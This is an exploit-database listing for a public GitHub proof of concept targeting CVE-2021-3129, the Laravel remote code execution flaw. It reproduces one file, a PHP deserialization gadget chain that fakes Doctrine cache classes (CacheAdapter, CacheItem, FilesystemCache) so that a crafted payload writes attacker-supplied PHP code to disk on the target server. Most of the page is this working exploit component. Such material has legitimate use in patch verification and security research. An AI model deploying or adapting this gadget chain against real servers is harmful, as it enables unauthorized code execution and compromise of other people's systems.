Exploit database

GH-16376e4357f06350aba70a4970a8d451

shadowabi/laravel-cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Doctrine/FW/2/gadgets.php

PHP · 710 bytes
<?php

namespace Doctrine\Common\Cache\Psr6
{
	class CacheAdapter
    {
		private $deferredItems = [];

		public function __construct($CacheItem, $FilesystemCache)
        {
			$this->deferredItems = ['x' => $CacheItem];
			$this->cache = $FilesystemCache;
		}
	}
	class CacheItem
    {
		private $value;

		public function __construct($phpCode)
        {
			$this->value = $phpCode;
		}
	}
}

namespace Doctrine\Common\Cache
{
	class FileCache
    {
		private $extension;
		protected $directory;
		private $umask = 0002;

		public function __construct($extension, $directory)
        {
			$this->extension = $extension;
			$this->directory = $directory;
		}
	}
	
	class FilesystemCache extends FileCache {}
}